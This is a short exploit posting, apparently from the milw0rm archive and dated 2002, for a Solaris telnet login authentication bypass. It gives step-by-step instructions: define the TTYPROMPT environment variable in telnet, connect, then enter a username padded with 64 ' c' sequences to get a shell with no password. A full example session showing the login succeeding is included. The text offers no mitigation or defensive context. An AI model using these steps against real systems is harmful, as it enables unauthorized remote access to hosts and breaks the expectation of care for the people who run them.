Solaris TTYPROMPT Security Vulnerability (Telnet) This vulnerability is very simple to exploit, since it does not require any code to be compiled by an attacker. The vulnerability only requires the attacker to simply define the environment variable TTYPROMPT to a 6-character string, inside telnet. Jonathan believes this overflows an integer inside login, which specifies whether the user has been authenticated (just a guess). Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). Example: coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin # milw0rm.com [2002-11-02]